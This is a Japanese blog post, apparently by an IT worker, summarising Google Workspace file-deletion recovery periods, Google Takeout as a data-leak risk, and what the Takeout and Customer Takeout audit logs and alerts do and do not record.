Driveからファイルが削除された場合

  • ファイルはゴミ箱に移動し、30日後に削除される。
  • ゴミ箱から削除されたファイルは25日以内なら管理者によって復元可能 （Vaultライセンスなしの場合）
  • Vaultライセンスがある場合は、ファイルが削除されても25~40日間はファイルにアクセス可能 （Custom Retention RuleやHold Ruleが設定されている場合は、アクセス可能期間もそれらに準拠する）。

アカウントが削除された場合

  • アカウントが削除された場合、アカウントのDrive内のファイルも削除される。
  • ファイルを復元するには20日以内にアカウントを復元しなければならない。
  • Vaultライセンスがある場合は、アカウントを復元せずにファイルのみの復元が可能。
  • ファイルのオーナーシップを他のアカウントに移すことでファイルを復元することもできる。その場合、ファイルはオーナーシップを譲渡されたユーザーのDrive内に復元される。

Google Takeoutによるデータ漏洩

Google Takeoutとはユーザーが自身のGoogle Workspaceのデータを圧縮ファイルにまとめてエクスポートするための機能のこと。ユーザーがGroupオーナーだった場合、Group内の全てのデータをエクスポートすることが可能。Takeoutはデフォルトで有効化されている。
Takeoutを利用するにはhttps://takeout.google.comにアクセスし、エクスポートしたいGoogleのサービスを選択する。
エクスポートの手段として以下を選択できる。

  • ダウンロードリンクをメールで送信
  • Google ドライブに追加
  • Dropboxに追加
  • OneDriveに追加
  • Boxに追加

Google Takeout Audit Log

Google Takeout関連のイベントはAdminコンソール内のGoogle Takeout Audit Logに記録される。以下のことが記録される。

  • Takeoutの開始日時
  • Takeoutの完了日時
  • Takeoutを実行したユーザー名およびIPアドレス
  • エクスポート対象のGoogleサービス名

エクスポートされた圧縮ファイルがダウンロードされたか否かはTakeout Audit Logには記録されない （エクスポート先がGoogle Driveだった場合は、Google Drive Audit Logにダウンロードの有無が記録される）。
Takeout Audit LogはAPIからはアクセスできない。

Customer Takeout

Google WorkspaceのデータをOrganization (組織) 規模でエクスポートするための機能。Google Workspaceの管理者のみが実行可能。
利用するには以下の条件を満たす必要がある。

  • 管理者アカウント且つ多要素認証が設定されている。
  • 上記の管理者アカウントが作成されてから30日以上経過している。
  • Google Workspace内のユーザー数が1000未満である。

Customer Takeoutが実行されるとAdmin Log Eventsに記録が残る。ただし記録されるのはCustomer Takeoutが開始されたときのみで、Customer Takeoutの完了時やTakeoutされたデータがダウンロードされたかなどは記録されない。ダウンロード関連の記録が残らないのは、TakeoutされたデータはGoogle WorkspaceではなくGoogle Cloudでダウンロード可能となるため。

また、Customer Takeoutが実行されると下記のタイミングで管理者に通知メールが送られる。

  • Customer Takeoutが要求された時
  • Customer Takeoutが開始された時
  • Customer Takeoutが完了した時

通知メールのほかにAlert Centerでもイベントが発生する。

IT業従事者。2018年10月末よりシンガポール在住。2025年にシンガポールにて住宅（コンドミニアム）を購入。

Leave a Reply

Your email address will not be published. Required fields are marked *


The reCAPTCHA verification period has expired. Please reload the page.